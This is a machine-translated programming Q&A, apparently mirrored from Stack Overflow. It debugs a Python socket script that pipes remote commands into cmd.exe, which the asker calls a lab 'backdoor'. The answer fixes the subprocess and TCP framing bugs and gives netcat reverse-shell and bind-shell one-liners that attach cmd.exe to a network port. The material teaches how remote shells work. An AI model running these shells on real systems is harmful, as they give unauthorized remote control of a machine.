繁体   English   中英

python子进程stdin.write字符串错误22无效参数

[英]python subprocess stdin.write a string error 22 invalid argument

我有两个与套接字通信的python文件。 当我将数据传递给stdin.write时,出现错误22无效参数。 编码

a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder

更新 OK基本上,我想在网络实验室内的localhost中的系统上创建类似后门的东西。 这是出于教育目的。 我有两台机器。 1)正在运行ubuntu, 我在服务器中输入以下代码:

import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1)                 #wait for client connection.

c, addr = s.accept()     # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')

while True:
    command_from_user = raw_input("Give your command: ")  #read command from the user
    if command_from_user == 'quit': break
    c.send(command_from_user)  #sending the command to client
c.close()                # Close the connection

为客户提供以下代码:

import socket 
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Socket created'

host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024) 

a="C:\python27\Tools"

proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder

    stdoutput=proc.stdout.read() + proc.stderr.read()

s.close #closing the socket

并且错误在客户端文件中

追溯(最近一次呼叫最近):proc.stdin.write('%s \\ n'%data)中的文件“ ex1client2.py”,第50行,ValueError:对已关闭文件的I / O操作

基本上我想从服务器到客户端运行串行命令,并在服务器中获取输出。 第一个命令被执行,第二个命令我得到这个错误信息。 导致我找到此解决方案的主要问题是更改目录命令。 当我执行CD“路径”时,它不会改变。

您的新代码有一个不同的问题,这就是为什么它会引发类似但不同的错误。 让我们看一下关键部分:

while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder
    stdoutput=proc.stdout.read() + proc.stderr.read()

问题在于,每次通过此列表时,您都在调用proc.communicate() 正如文档所解释的,这将:

发送数据到标准输入。 从stdout和stderr读取数据,直到到达文件末尾。 等待进程终止。

因此,在此调用之后,子进程已退出,并且所有管道均已关闭。 但是,下次在循环中,无论如何,您都尝试写入其输入管道。 由于该管道已关闭,因此您会ValueError: I/O operation on closed file看到ValueError: I/O operation on closed file ,这恰恰说明了它的意思。

如果要在单独的cmd.exe Shell实例中运行每个命令,则必须将proc = subprocess.Popen('cmd.exe', …)位移入循环。

另一方面,如果您想要一个命令一个命令地发送到同一外壳,则不能调用communicate 您必须写stdin ,从stdoutstderr读取,直到您知道它们已完成,然后在下一次循环中将所有内容打开。

第一个的缺点很明显:如果您在第一个命令中执行cd \\Users\\me\\Documents ,然后在第二个命令中执行dir ,而它们在完全不同的shell中运行,则最终获取C:\\python27\\Tools的目录列表,而不是C:\\Users\\me\\Documents

但是第二个缺点也很明显:您需要编写代码,以某种方式知道每条命令何时完成(也许是因为您再次得到提示?),或者会阻塞proc.stdoutproc.stderr ,和s都在同一时间。 (并且不会意外地使管道死锁。)而且,您甚至无法将它们全部扔入select ,因为管道不是插座。 因此,唯一真正的选择是为stdout创建一个读取器线程,为stderr创建另一个线程,或者从PyPI中获取一个异步子进程库,或者使用twisted或另一个具有自己的异步子进程管道方式的框架。

如果您查看要communicate的源代码,那么可以看到线程应该如何工作。


同时,请注意,您的代码还有另一个非常严重的问题。 您期望每个s.recv(1024)都会返回一个命令。 这不是TCP套接字的工作方式。 您将在一个recv获得第一个2-1 / 2命令,然后在下一个中获得命令的1/4,依此类推。

在localhost或什至是本地LAN上,当您仅发送一些小消息时,它将在99%的时间内正常工作,但是您仍然必须处理那1%的时间,否则您的代码有时会神秘地中断。 并且通过Internet甚至许多真实的LAN,它只能在10%的时间内工作。

因此,您必须实现某种以某种方式分隔消息的协议。

幸运的是,对于简单的情况,Python为您提供了一个非常简单的解决方案: makefile 当命令由换行符分隔,并且您可以同步阻塞直到获得完整的命令时,这很简单。 代替这个:

while True:
    data = s.recv(1024)

……只要这样做:

f = s.makefile()
while True:
    data = f.readline()

你只需要记住close两个fs (或更高版本s的右后makefile ,并f更高版本)。 更惯用的用法是:

with s.makefile() as f:
    s.close()
    for data in f:

最后一件事:

好的,基本上我想在网络实验室内的本地主机中在系统上创建类似后门的东西

“ localhost”表示您正在运行的同一台计算机,因此“网络实验室内的localhost”没有任何意义。 我认为您只是在这里意思是“主持人”,在这种情况下,整个事情都说得通。


如果您不需要使用Python,则可以使用netcat的单行代码完成整个操作。 有一些语法略有不同的不同版本。 我相信Ubuntu内置了GNU netcat。 如果没有,则可以使用apt-get netcatapt-get nc Windows没有任何功能,但是您可以获得几乎任何变体的端口。

一个用于“ netcat远程外壳程序”的快速Google出现了很多博客文章,论坛消息,甚至显示了如何执行此操作的视频,例如使用Netcat生成远程外壳程序 ,但是您最好还是搜索一下Netcat教程代替。

更常见的设计是让“后门”计算机(您的Windows盒子)在端口上侦听,而另一台计算机(您的Ubuntu)连接到该端口,因此大多数博客文章等都在其中。 会告诉你。 该方向的优势在于,您的“后院服务器”将永远进行监听-您可以连接,执行一些操作,退出,稍后再连接等,而无需回到Windows框并开始新的连接。

但是相反,在Windows机器上安装后院客户端也一样容易。 在Ubuntu盒子上,启动一个仅将终端连接到第一个连接的服务器:

nc -l -p 1234

然后在Windows框中,连接到该服务器,然后将其连接到cmd.exe 假设您已经安装了GNU语法变体:

nc -e cmd.exe 192.168.2.7 1234

而已。 比用Python编写起来简单得多。

对于更典型的设计,Windows上的后门服务器运行以下命令:

nc -k -l -p 1234 -e cmd.exe

然后通过以下方式从Ubuntu连接:

nc windows.machine.address 1234

或者甚至可以将-t添加到后门服务器,然后仅使用telnet而不是nc

问题在于您实际上根本没有打开子进程,因此管道正在关闭,因此您正在尝试写入不存在的内容。 (我很确定POSIX保证您会在这里获得EPIPE ,但是在Windows上, subprocess首先不使用POSIX管道,因此无法保证您将获得的确切结果。但是您可以“再肯定会得到一些错误。)

发生这种情况的原因是您正在尝试打开一个名为'\\n'的程序(如换行符,而不是反斜杠和n)。 我认为这在Windows上甚至都不合法。 而且,即使是这样,我也非常怀疑您的路径上是否有一个名为'\\n.exe'的可执行文件。

如果您未使用shell=True这将更容易看到。 在这种情况下, Popen本身将引发一个异常( ENOENT ),该异常将告诉您以下信息:

OSError: [Errno 2] No such file or directory: '
'

……这将更容易理解。

通常,除非确实需要一些shell功能,否则不应该使用shell=True 而且非常罕见的是,您需要外壳功能,还需要手动读取和写入管道。

如果您不重用data来表示两个完全不同的内容(要运行的程序的名称以及要从套接字传递到管道的数据),那么这也将减少混乱。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM